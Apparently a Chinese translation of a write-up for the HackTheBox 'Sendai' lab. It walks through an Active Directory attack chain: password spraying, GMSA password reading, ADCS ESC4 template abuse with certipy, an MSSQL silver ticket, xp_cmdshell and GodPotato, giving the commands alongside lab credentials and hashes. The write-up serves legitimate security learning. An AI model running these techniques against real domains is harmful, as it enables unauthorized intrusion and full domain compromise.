HTB Sendai渗透测试实战:从密码喷洒到域控提权

本文详细记录了HTB Sendai靶机的完整渗透测试过程,从初始密码喷洒获取Thomas.Powell凭证开始,通过BloodHound分析发现支持组对AdmSvc组有GenericAll权限,进而读取GMSA密码获取mgtsvc$的shell。随后通过两种路径提权:一是利用服务中发现的Clifford.Davey凭证滥用ADCS的ESC4漏洞获取管理员权限;二是通过MSSQL Silver Ticket和GodPotato提权到SYSTEM。

HTB: Sendai

盒子信息

属性
名称 Sendai
发布日期 2025年8月28日
操作系统 Windows
难度 中等 [30分]
创建者 xct

侦察

初始扫描

nmap发现25个开放TCP端口,显示这是一个Windows域控制器:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
oxdf@hacky$ nmap -p- -vvv --min-rate 10000 10.129.234.66
PORT      STATE SERVICE
53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
443/tcp   open  https
445/tcp   open  microsoft-ds
...【其余端口省略】...

域名为sendai.vl,主机名为DC。

SMB - TCP 445

共享枚举

通过netexec发现可访问的共享:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
oxdf@hacky$ netexec smb dc.sendai.vl -u oxdf -p '' --shares
Share           Permissions     Remark
ADMIN$                          Remote Admin
C$                              Default share
config                          
IPC$            READ            Remote IPC
NETLOGON                        Logon server share 
sendai          READ            company share
SYSVOL                          Logon server share 
Users           READ

sendai共享包含incident.txt文件,提到由于安全审计,弱密码账户已被过期。

RID暴力破解

获取用户列表:

1
oxdf@hacky$ netexec smb dc.sendai.vl -u oxdf -p '' --rid-brute

认证为Thomas.Powell

密码喷洒

使用空密码进行喷洒,发现两个账户需要更改密码:

1
2
3
4
oxdf@hacky$ netexec smb DC.sendai.vl -u users.txt -p '' --continue-on-success
[+] sendai.vl\Guest: 
[-] sendai.vl\Elliot.Yates: STATUS_PASSWORD_MUST_CHANGE
[-] sendai.vl\Thomas.Powell: STATUS_PASSWORD_MUST_CHANGE

更新密码

更改Thomas.Powell的密码:

1
oxdf@hacky$ netexec smb DC.sendai.vl -u Thomas.Powell -p '' -M change-password -o NEWPASS=0xdf0xdf....

获取Mgtsvc$的Shell

枚举

在config共享中发现.sqlconfig文件,包含SQL连接字符串:

1
Server=dc.sendai.vl,1433;Database=prod;User Id=sqlsvc;Password=SurenessBlob85;

BloodHound分析

收集BloodHound数据,发现Support组对AdmSvc组有GenericAll权限,AdmSvc组对MGTSVC$有ReadGMSAPassword权限。

读取GMSA密码

1
2
oxdf@hacky$ netexec ldap DC.sendai.vl -u Thomas.Powell -p 0xdf0xdf.... --gmsa
Account: mgtsvc$ NTLM: edac7f05cded0b410232b7466ec47d6f

认证为mgtsvc$

使用哈希认证并获取WinRM shell:

1
oxdf@hacky$ evil-winrm-py -i DC.sendai.vl -u mgtsvc$ -H edac7f05cded0b410232b7466ec47d6f

两条提权路径

路径一:通过Clifford.Davey和ADCS

发现凭证

在服务进程中发现硬编码凭证:

1
ImagePath=C:\WINDOWS\helpdesk.exe -u clifford.davey -p RFmoB2WplgE_3p -k netsvcs

ESC4漏洞利用

Clifford.Davey是CA-Operators组成员,对SendaiComputer模板有完全控制权:

1
oxdf@hacky$ certipy template -u clifford.davey -p RFmoB2WplgE_3p -dc-ip 10.129.234.66 -template SendaiComputer -write-default-configuration

修改模板后利用ESC1漏洞为管理员请求证书:

1
oxdf@hacky$ certipy req -u clifford.davey -p RFmoB2WplgE_3p -dc-ip 10.129.234.66 -ca sendai-DC-CA -target DC.sendai.vl -template SendaiComputer -upn administrator@sendai.vl

获取管理员Shell

使用证书认证获取管理员权限:

1
oxdf@hacky$ evil-winrm-py -i DC.sendai.vl -u administrator -H [管理员哈希]

路径二:通过MSSQL和Silver Ticket

隧道建立

使用Chisel建立SOCKS隧道访问MSSQL:

1
oxdf@hacky$ proxychains mssqlclient.py -windows-auth sendai.vl/sqlsvc:SurenessBlob85@localhost

Silver Ticket攻击

为MSSQL服务创建Silver Ticket:

1
oxdf@hacky$ ticketer.py -nthash [sqlsvc的NTLM哈希] -domain-sid [域SID] -domain sendai.vl -spn MSSQL/dc.sendai.vl administrator

启用xp_cmdshell

以管理员身份连接MSSQL并启用命令执行:

1
2
SQL> enable_xp_cmdshell
SQL> xp_cmdshell "powershell反向shell"

GodPotato提权

sqlsvc具有SeImpersonate权限,使用GodPotato提权到SYSTEM:

1
PS C:\programdata> .\gp.exe -cmd "powershell反向shell"

总结

Sendai靶机展示了从初始访问到域控提权的完整攻击链,涉及密码喷洒、GMSA密码读取、ADCS漏洞利用、Silver Ticket攻击等多种技术,是学习Active Directory安全测试的绝佳案例。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计